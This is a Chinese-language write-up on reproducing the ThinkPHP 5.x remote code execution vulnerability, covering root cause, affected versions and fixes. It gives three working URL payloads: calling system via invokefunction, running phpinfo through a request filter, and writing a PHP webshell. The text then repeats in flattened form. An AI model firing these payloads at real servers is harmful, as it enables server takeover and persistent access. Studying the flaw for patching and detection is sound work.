ThinkPHP5.x RCE 复现
字数 1083 2025-08-05 13:25:32

ThinkPHP5.x RCE漏洞分析与复现指南

漏洞概述

ThinkPHP5.x版本存在远程代码执行(RCE)漏洞,攻击者可以通过精心构造的URL实现任意代码执行。该漏洞的核心问题在于路由解析过程中对控制器名称的处理不当,允许实例化任意类并调用其方法。

影响版本

  • 5.x系列 < 5.1.31
  • 5.x系列 < 5.0.23

环境准备

  • PHP 7.3
  • ThinkPHP 5.1.29
  • PHPStorm(可选,用于代码分析)

漏洞原理分析

路由解析流程

  1. 入口文件$this->dispatch初始值为空
  2. 路由检测:调用routeCheck()方法
  3. 路径处理:通过path()pathinfo()方法获取路由信息
    • 可通过?s=参数传入路由信息
  4. 路由检查Route类的check()方法处理路由
  5. 模块初始化:实例化Module类并执行init()方法
  6. 执行流程:最终调用Module类的run()方法

关键漏洞点

  • 控制器解析问题:在parseModuleAndClass方法中,如果控制器名称包含\或以\开头,会被当作完整类名处理
  • 任意类实例化:利用命名空间可以实例化任意类
  • 方法调用:通过URL参数可以调用实例化类的任意方法

漏洞利用方式

1. 使用think\app类执行任意函数

Payload:

?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami

原理

  • 利用Container类的invokeFunction方法动态调用函数
  • 通过call_user_func执行系统命令

2. 使用think\request类执行PHP代码

Payload:

?s=index/\think\request/input?data[]=-1&filter=phpinfo

原理

  • 利用Request类的input方法
  • filterValue方法中存在回调函数调用,参数可控

3. 使用think\template\driver\file类写入Webshell

Payload:

?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

原理

  • 利用File驱动类的write方法写入文件
  • 可以写入任意PHP代码到服务器

漏洞修复方案

  1. 升级到安全版本:

    • ThinkPHP 5.1.31或更高版本
    • ThinkPHP 5.0.23或更高版本
  2. 临时修复措施:

    • 在路由解析前对控制器名称进行严格过滤
    • 禁止以\开头的控制器名称

总结

ThinkPHP5.x的RCE漏洞源于路由解析过程中对控制器名称的不当处理,允许攻击者实例化任意类并调用其方法。通过精心构造的URL,攻击者可以实现任意代码执行、命令执行或文件写入等操作。开发人员应及时升级框架版本,避免此类安全问题。

ThinkPHP5.x RCE漏洞分析与复现指南 漏洞概述 ThinkPHP5.x版本存在远程代码执行(RCE)漏洞,攻击者可以通过精心构造的URL实现任意代码执行。该漏洞的核心问题在于路由解析过程中对控制器名称的处理不当,允许实例化任意类并调用其方法。 影响版本 5.x系列 < 5.1.31 5.x系列 < 5.0.23 环境准备 PHP 7.3 ThinkPHP 5.1.29 PHPStorm(可选,用于代码分析) 漏洞原理分析 路由解析流程 入口文件 : $this->dispatch 初始值为空 路由检测 :调用 routeCheck() 方法 路径处理 :通过 path() 和 pathinfo() 方法获取路由信息 可通过 ?s= 参数传入路由信息 路由检查 : Route 类的 check() 方法处理路由 模块初始化 :实例化 Module 类并执行 init() 方法 执行流程 :最终调用 Module 类的 run() 方法 关键漏洞点 控制器解析问题 :在 parseModuleAndClass 方法中,如果控制器名称包含 \ 或以 \ 开头,会被当作完整类名处理 任意类实例化 :利用命名空间可以实例化任意类 方法调用 :通过URL参数可以调用实例化类的任意方法 漏洞利用方式 1. 使用 think\app 类执行任意函数 Payload : 原理 : 利用 Container 类的 invokeFunction 方法动态调用函数 通过 call_user_func 执行系统命令 2. 使用 think\request 类执行PHP代码 Payload : 原理 : 利用 Request 类的 input 方法 filterValue 方法中存在回调函数调用,参数可控 3. 使用 think\template\driver\file 类写入Webshell Payload : 原理 : 利用 File 驱动类的 write 方法写入文件 可以写入任意PHP代码到服务器 漏洞修复方案 升级到安全版本: ThinkPHP 5.1.31或更高版本 ThinkPHP 5.0.23或更高版本 临时修复措施: 在路由解析前对控制器名称进行严格过滤 禁止以 \ 开头的控制器名称 总结 ThinkPHP5.x的RCE漏洞源于路由解析过程中对控制器名称的不当处理,允许攻击者实例化任意类并调用其方法。通过精心构造的URL,攻击者可以实现任意代码执行、命令执行或文件写入等操作。开发人员应及时升级框架版本,避免此类安全问题。